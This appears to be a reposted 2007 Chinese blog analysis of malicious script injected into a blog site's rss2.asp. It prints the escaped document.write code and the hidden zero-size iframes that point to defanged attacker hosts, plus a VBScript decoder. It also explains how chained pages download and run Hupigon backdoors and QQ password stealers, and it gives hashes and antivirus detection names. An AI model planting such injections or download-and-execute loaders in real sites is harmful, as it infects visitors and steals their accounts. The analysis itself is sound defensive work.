03-31/某博客网的rss2.asp力推5病毒（其中3个为灰鸽子）第3版

拼搏现实的明天。 2024-02-17 13:54 9阅读 0赞

**endurer** 原创

2007-03-31 第**3**版 补充瑞星 的反应  
2007-03-29 第**2**版 补充kaspersky 的反应  
2007-03-29 第**1**版

该博客网的rss2.asp包含代码：  
/---  
＜SCRIPT＞var Words="%\*3\*Cht\*ml%3E%3Ciframe src%3D%22hxxp%3A%2F%2Fkmx%2E\*\*zl\*\*f\*j\*\*j%2Ecom%2Findex%2Ehtm%22 name%3D%22zhu%22 width%3D%220%22 height%3D%220%22 frameborder%3D%220%22%3E%3C%2Fhtml%3E%0D%0A%0D%0A%0D%0A";document.write(unescape(Words))＜/SCRIPT＞ ＜Iframe src="hxxp://zhang8\*\*5\*9\*\*.g\*\*o\*1\*\*\*.icpcn.com/index.htm" width="0" height="0" scrolling="no" frameborder="0"＞＜/iframe＞  
＜Iframe src="hxxp://zhang8\*\*5\*9\*\*.g\*\*o\*1\*\*\*.icpcn.com/ndex.htm" width="0" height="0" scrolling="no" frameborder="0"＞＜/iframe＞＜Iframe src="hxxp://zhang8\*\*5\*9\*\*.g\*\*o\*1\*\*\*.icpcn.com/index.htm" width="0" height="0" scrolling="no" frameborder="0"＞＜/iframe＞  
＜Iframe src="hxxp://zhang8\*\*5\*9\*\*.g\*\*o\*1\*\*\*.icpcn.com/ndex.htm" width="0" height="0" scrolling="no" frameborder="0"＞＜/iframe＞  
\---/

变量Words的值解密后的内容为：  
/---  
＜html＞＜iframe src="hxxp://k\*\*\*m\*\*x\*.z\*\*\*l\*f\*\*j\*j.com/index.htm" name="zhu" width="0" height="0" frameborder="0"＞＜/html＞  
";document.write(unescape(Words))＜/SCRIPT＞ ＜SCRIPT＞var Words="＜html＞＜iframe src="hxxp://k\*\*\*m\*\*x\*.z\*\*\*l\*f\*\*j\*j.com/index.htm" name="zhu" width="0" height="0" frameborder="0"＞＜/html＞  
\---/

**hxxp://k\*\*\*m\*\*x\*.z\*\*\*l\*f\*\*j\*j.com/index.htm**包含代码：  
/---  
＜iframe src="hxxp://www.m\*\*h\*\*\*5\*\*5\*\*.cn/g\*\*\*\*z\*\*\*\*/g\*\*\*\*z\*\*\*\*.htm" width="0" height="0" frameborder="0"＞＜/iframe＞  
＜iframe src="hxxp://k\*\*\*m\*\*x\*.z\*\*\*l\*f\*\*j\*j.com/jb.htm" width="0" height="0" frameborder="0"＞＜/iframe＞  
＜iframe src="hxxp://www.z\*\*\*l\*f\*\*j\*j.com/321.htm" width="0" height="0" frameborder="0"＞＜/iframe＞  
＜iframe src="hxxp://www.z\*\*\*l\*f\*\*j\*j.com/123.htm" width="0" height="0" frameborder="0"＞＜/iframe＞  
\---/

**hxxp://www.m\*\*h\*\*\*5\*\*5\*\*.cn/g\*\*\*\*z\*\*\*\*/g\*\*\*\*z\*\*\*\*.htm**中的脚本代码功能是用unescape()解码字符串值并输出。

输出内容为VBScript脚本，功能是使用自定义函数：  
/---  
function rechange(k)  
s=Split(k,",")  
t=""  
For i = 0 To UBound(s)  
t=t+Chr(eval(s(i)))  
Next  
rechange=t  
End Function  
\---/  
解密变量t的值并执行。

解密后的变量t值为VBScript脚本代码，功能是利用 Microsoft.XMLHTTP 和 scripting.FileSystemObject 下载文件 gz.exe，保存为 %temp%/leren.bat，并利用Shell.Application 对象 Q 的 ShellExecute 方法来运行。

文件说明符 : **D:/test/gz.exe**  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-3-29 12:41:59  
修改时间 : 2007-3-29 12:41:59  
访问时间 : 2007-3-29 0:0:0  
大小 : 387584 字节 378.512 KB  
MD5 : 8b1e57e69f958e004fc743188e4f63c4

Kaspersky 报为 **Backdoor.Win32.Hupigon.emk**\[KLAB-1900585\]

瑞星 报为 **Backdoor.Gpigeon.sbi**（病毒上报邮件分析结果－流水单号:6239851）  
  
我们将在较新的19.16.42版本(瑞星2006的18.72.42版本)中处理解决，请您届时将您的瑞星软件升级到19.16.42(瑞星2006的18.72.42版本)版本并且打开监控中心全盘杀毒。如果我们在测试过程中发现问题的话，我们会推迟一到两版本后升级。  
  
**hxxp://k\*\*\*m\*\*x\*.z\*\*\*l\*f\*\*j\*j.com/jb.htm**（卡巴报为：**Trojan-Downloader.VBS.Small.dc**）内容为VBScript脚本代码，功能是输出信息：“你好，您所访问的页面正在加载中...请稍候片刻....”，同时利用 Microsoft.XMLHTTP 和 scripting.FileSystemObject 下载文件 jb.exe，保存为 %temp%/svchost.exe，并利用Shell.Application 对象 zhonghuae 的 ShellExecute 方法来运行。

文件说明符 : **D:/test/jb.exe**  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-3-29 12:39:38  
修改时间 : 2007-3-29 12:39:40  
访问时间 : 2007-3-29 0:0:0  
大小 : 5632 字节 5.512 KB  
MD5 : ee5a215b736b733ec2caed16fb413a29

Kaspersky 报为 **Trojan.Win32.Agent.aic** \[KLAB-1900058\]

瑞星 报为 **Trojan.Mnless.hpg**（病毒上报邮件分析结果－流水单号:6239566）

**hxxp://www.z\*\*\*l\*f\*\*j\*j.com/321.htm**　内容为VBScript脚本代码，功能是输出信息：“你好，您所访问的页面正在加载中...请稍候片刻....”，同时利用 Microsoft.XMLHTTP 和 scripting.FileSystemObject 下载文件 321.exe，保存为 %temp%/svchost.exe，并利用Shell.Application 对象 zhonghuae 的 ShellExecute 方法来运行。

文件说明符 : **D:/test/321.exe**  
属性 : A---  
语言 : 英语(美国)  
文件版本 : 5.2.3790.1830  
说明 : Generic Host Process for Win32 Services  
版权 : (C) Microsoft Corporation. All rights reserved.  
备注 :  
产品版本 : 5.2.3790.1830  
产品名称 : Microsoft(R) Windows(R) Operating System  
公司名称 : Microsoft Corporation  
合法商标 :  
内部名称 : rpcs.exe  
源文件名 : rpcs.exe  
创建时间 : 2007-3-29 12:39:38  
修改时间 : 2007-3-29 12:41:12  
访问时间 : 2007-3-29 0:0:0  
大小 : 109606 字节 107.38 KB  
MD5 : 9adeac121907c9ea7ad2b1dad7834bc6

Kaspersky 报为 **Trojan-PSW.Win32.QQRob.km**

瑞星 报为 **Trojan.PSW.QQRobber.bkv**（病毒上报邮件分析结果－流水单号:6239566）

**hxxp://www.z\*\*\*l\*f\*\*j\*j.com/123.htm**　内容为VBScript脚本代码，功能是输出信息：“你好，您所访问的页面正在加载中...请稍候片刻....”，同时利用 Microsoft.XMLHTTP 和 scripting.FileSystemObject 下载文件 123.exe，保存为 %temp%/svchost.exe，并利用Shell.Application 对象 zhonghuae 的 ShellExecute 方法来运行。

文件说明符 : **D:/test/123.exe**  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-3-29 12:39:38  
修改时间 : 2007-3-29 12:43:34  
访问时间 : 2007-3-29 0:0:0  
大小 : 298121 字节 291.137 KB  
MD5 : b6b5bd850c28a1843fc5195fa09d52c7

Kaspersky 报为 **Backdoor.Win32.Hupigon.crx**\[KLAB-1900585\]

瑞星 报为 **Trojan.Mnless.hpf**（病毒上报邮件分析结果－流水单号:6239566）

**hxxp://zhang8\*\*5\*9\*\*.g\*\*o\*1\*\*\*.icpcn.com/index.htm**　（瑞星报为：**Trojan.DL.VBS.Agent.clg**）内容为JavaScript脚本代码，功能是用String.fromCharCode()解码变量t的值并输出。

解码后的变量t的值为VBScript脚本代码，功能是利用 Microsoft.XMLHTTP 和 scripting.FileSystemObject 下载文件 010.exe，保存为 %temp%/svchost.exe，并利用Shell.Application 对象 Xe 的 ShellExecute 方法来运行。

文件说明符 : **d:/test/010.exe**  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-3-29 12:35:2  
修改时间 : 2007-3-29 12:35:6  
访问时间 : 2007-3-29 0:0:0  
大小 : 413184 字节 403.512 KB  
MD5 : 8181fd58e26227d57915fa25ce26234e

Kaspersky 报为 **Backdoor.Win32.Hupigon.avg**\[KLAB-1900585\]

瑞星 报为 **Backdoor.Gpigeon.sbg**（病毒上报邮件分析结果－流水单号:6239423）